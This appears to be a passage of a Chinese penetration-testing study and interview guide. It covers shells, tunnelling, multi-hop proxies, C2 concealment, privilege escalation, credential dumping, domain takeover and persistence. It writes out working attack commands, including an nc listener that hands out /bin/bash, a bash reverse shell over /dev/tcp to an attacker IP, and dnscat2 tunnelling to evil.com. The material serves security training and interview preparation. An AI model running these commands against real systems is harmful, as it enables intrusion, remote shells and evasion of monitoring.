攻击者 ──连过去──→ 目标机器(监听端口)──→ 内网其他机器
适用场景:攻击者能直连目标(同网段、或目标有公网 IP)。
# 目标机器开监听
nc -lvvp 4444 -e /bin/bash
# 攻击者连过去
nc 目标IP 4444
反向代理
比方:你控制的内网机器主动打电话回家,连到你的服务器,建立通道后你再通过它访问内网。
攻击者(监听端口) ←──连出来── 目标机器 ──→ 内网其他机器
适用场景:目标能出网,攻击者有公网监听点(内网渗透最常用)。
# 攻击者先监听
nc -lvvp 4444
# 目标机器连出来
bash -i >& /dev/tcp/攻击者IP/4444 0>&1
正向 vs 反向对比
| 维度 | 正向 | 反向 |
|---|---|---|
| 连接方向 | 攻击者 → 目标 | 目标 → 攻击者 |
| 谁监听 | 目标机器 | 攻击者 |
| 适用场景 | 攻击者能直连目标 | 目标能出网 |
| 内网实战 | 较少用 | 最常用 |
一句话区分:正向是"我连过去",反向是"它连出来"。内网机器通常能出部分网,所以反向更常用。
隧道技术(跨协议封装)
比方:大楼只允许"快递包裹"(特定协议)进出,不允许"人"进出。你把人藏进快递包裹里,骗过门卫送出去。
1. HTTP/HTTPS 隧道(内网最常用)
场景:内网只放行 80/443 出站。
工具:
- suo5(推荐,新一代,SOCKS over HTTP):webshell 部署代理脚本,建立 SOCKS 代理
- Neo-reGeorg:webshell 部署 tunnel,加密 HTTP 隧道
- abptts:HTTP 隧道,端口转发
# suo5 用法
./suo5 -t http://目标/suo5.php
# 本地开 SOCKS 代理端口,配 proxychains 访问内网
2. DNS 隧道(不出网终极手段)
场景:内网严格,只允许 DNS 查询出站(53 端口)。
原理:把数据编码成 DNS 查询的子域名,发往攻击者控制的权威 DNS 服务器。
工具:dnscat2、iodine。
# 攻击者(控制权威 DNS 服务器)
ruby dnscat2.rb evil.com
# 目标机器(出 DNS)
dnscat2.exe --dns domain=evil.com --secret 密钥
特点:带宽极低,适合传命令不适合传大文件;但能穿透严格防火墙。
3. ICMP 隧道
场景:连 DNS 都封了,但允许 ping(ICMP)出站。
原理:把数据塞进 ICMP echo 包(ping 包)的 data 字段。
工具:ptunnel、icmpshell。
4. SSH 隧道
# 本地端口转发(把远程端口转本地)
ssh -L 3306:内网MySQL_IP:3306 user@跳板机
# 动态端口转发(SOCKS 代理)
ssh -D 1080 user@跳板机
# 配 proxychains 走 1080 访问整个内网
多级代理(内网多级跳板)
比方:你在大楼里只拿下了一个房间,但目标在地下三层机房。你只能这个房间 → 走廊 → 楼梯 → 地下三层,一层层渗透。
攻击者 → 一级代理(边界机器) → 二级代理(中层机器) → 三级代理(深层机器) → 目标
工具:frp(最常用)、nps、chisel、Stowaway。
proxychains:让任意命令行工具走 SOCKS 代理的"万能转接头"。
# /etc/proxychains.conf
socks5 127.0.0.1 1080
# 之后任何命令前加 proxychains
proxychains nmap -sT -Pn 内网IP
隐蔽性:流量加密与伪装
| 隐蔽手段 | 说明 |
|---|---|
| 加密 | frp/chisel 加 TLS,防窃听检测 |
| 伪装 | HTTPS 隧道混在正常 Web 流量里 |
| 域前置(Domain Fronting) | SNI 用合法域名,实际连 C2 |
| 合法服务中转 | GitHub/TG/云存储 做 C2 信道 |
| 心跳 Jitter | 不规律上线,避免规律性流量被检测 |
| CDN 中转 | C2 套 CDN,隐藏真实 C2 IP |
附录:内网渗透面试答题框架汇总
1. 内网信息收集步骤
"内网信息收集我分六步:第一步判断环境,用
net time /domain、ipconfig /all确定是域还是工作组;第二步本机信息,whoami /all看权限、systeminfo看补丁、tasklist /svc看杀软;第三步网络拓扑,route print看网段、arp -a看近期通信、扫存活主机;第四步域内收集,net group系列列域用户域管域控,用 BloodHound 画权限关系;第五步端口服务扫描,fscan 扫关键端口匹配可利用服务;第六步凭据收集,mimikatz 抓内存密码哈希,翻配置文件找硬编码密码。做这步是为了摸清攻击面、定位域控和高价值目标。"
2. Windows 提权方法
"Windows 提权我分几大流派:第一是内核漏洞提权,看
systeminfo和补丁列表,找未修复的漏洞(MS17-010 等);第二是服务配置错误,找未引用路径和可写服务路径;第三是 UAC 绕过,前提已是管理员,用 fodhelper 等白名单程序绕过;第四是令牌窃取,利用 SeImpersonate 权限用 Potato 系列提权,常用于 Web 服务账户;第五是配置类,AlwaysInstallElevated、DLL 劫持。提权前先跑 WinPEAS 做全量收集,优先用配置类,内核 exp 留作兜底。"
3. Linux 提权方法
"Linux 提权我分几大流派:第一是内核漏洞,看
uname -r找对应 exp,Dirty COW、Dirty Pipe 是经典;第二是 SUID 提权,find / -perm -4000找 SUID 程序查 GTFOBins;第三是 sudo 错配,sudo -l看能跑什么,能跑 vim/find/less 这类能逃逸的程序就提权;第四是计划任务,查 /etc/crontab 看脚本可写或路径劫持;第五是配置类,PATH 劫持、可写 /etc/passwd、NFS、docker 组提权。提权前先跑 LinPEAS,优先配置类,内核 exp 兜底。"
4. 凭证获取方法
"Windows 凭证获取我按存储位置分层:第一层抓 LSASS 内存,用 mimikatz
sekurlsa::logonpasswords,拿明文密码、NTLM 哈希、Kerberos 票据;第二层 dump SAM 数据库,reg save导出离线解;第三层打域控抓 NTDS.dit,用 ntdsutil 或 DCSync,DCSync 原理是模拟域控复制行为;第四层应用层,抓凭据管理器、浏览器密码、配置文件密码,用 LaZagne 一把梭。拿到哈希后两条路:能破解就 hashcat 破成明文,破解不了直接 PTH。核心原理是 Windows 认证用哈希不用明文,抓到哈希就等于抓到密码。"
5. 怎么拿下域控
"拿下域控我按攻击路径分几条路:第一条直打漏洞,MS17-010、ZeroLogon、PrintNightmare;第二条 Kerberos 攻击,AS-REP Roasting、Kerberoasting(最实用)、黄金票据、委派攻击 RBCD;第三条 ADCS 证书攻击,ESC1-8 模板配置错误;第四条 NTLM 中继,PetitPotam 强制域控认证中继到 ADCS,免密打域控;第五条已有域管凭据直接 DCSync。辅助层面用 BloodHound 找从当前用户到域管的最短攻击路径。拿下来之后做持久化:黄金票据、Skeleton Key、AdminSDHolder 后门。"
6. 黄金 vs 白银票据
"讲黄金白银票据得先说 Kerberos 认证。认证分三步:第一步 Client 向 KDC 的 AS 证明身份,AS 用 krbtgt 哈希加密发 TGT;第二步 Client 拿 TGT 向 TGS 换 ST,ST 用目标服务账户哈希加密;第三步 Client 拿 ST 直接访问服务,服务自己验证不再回 KDC。黄金票据打第一步:拿到 krbtgt 哈希伪造 TGT,全域任意服务,经 KDC 有日志,清除需两次重置 krbtgt 密码。白银票据打第三步:拿到服务账户哈希伪造 ST,跳过 KDC 无日志更隐蔽,但只能访问该特定服务,改服务账户密码即失效。"
7. 持久化方法
"持久化我按系统和隐蔽性分层。Windows 层面,经典的是注册表自启项、计划任务、服务后门;隐蔽的是 WMI 事件订阅(无文件)、COM 劫持、隐藏账户。Linux 层面,最常用 SSH 公钥写入和 Cron 计划任务;隐蔽的有 PAM 后门、内核 rootkit、LD_PRELOAD 劫持。域层面,黄金票据、Skeleton Key 万能密码、AdminSDHolder 后门。隐蔽性分四档:显性注册表/计划任务、伪装服务/DLL、无文件 WMI/COM、底层 rootkit/域票据。实战多层组合,留显性诱饵掩护隐藏后门。安服排查角度,Windows 查注册表自启键、计划任务、WMI 事件;Linux 查 cron、启动项、authorized_keys、用 rkhunter 查 rootkit。"
8. 隧道与代理
"隧道和代理我分两个层次。代理解决访问问题,分正向和反向。正向是攻击者连过去,适用攻击者能直连目标;反向是目标连出来,适用目标能出网——内网实战反向更常用。常用工具 frp、nps、chisel,配合 proxychains。隧道解决通信问题,当常规代理走不通时把流量封装成允许通过的协议。HTTP 隧道(suo5)适用只放行 80/443;DNS 隧道(dnscat2)适用只放行 DNS;ICMP 隧道(ptunnel)适用只允许 ping。内网多网段用级联代理,frp 多级嵌套。隐蔽性用加密、域前置、CDN 中转。核心:代理解决'能不能走',隧道解决'走什么协议'。"
学习建议
- 先理解比方再记命令:每个概念都先用大楼比方理解,再记具体命令,不容易忘
- 按流程学:信息收集 → 提权 → 凭证 → 横向 → 域控 → 持久化 → 隧道,这是实战顺序
- 对比记忆:Windows vs Linux 提权、黄金 vs 白银票据、正向 vs 反向代理,对比着记更牢
- 动手验证:在靶场(vulnhub、HackTheBox、内网靶场)复现每条命令
- 面试自测:每个漏洞/手法自测四问——原理(一句话)、利用(关键手法)、前提条件、防御/排查
浙公网安备 33010602011771号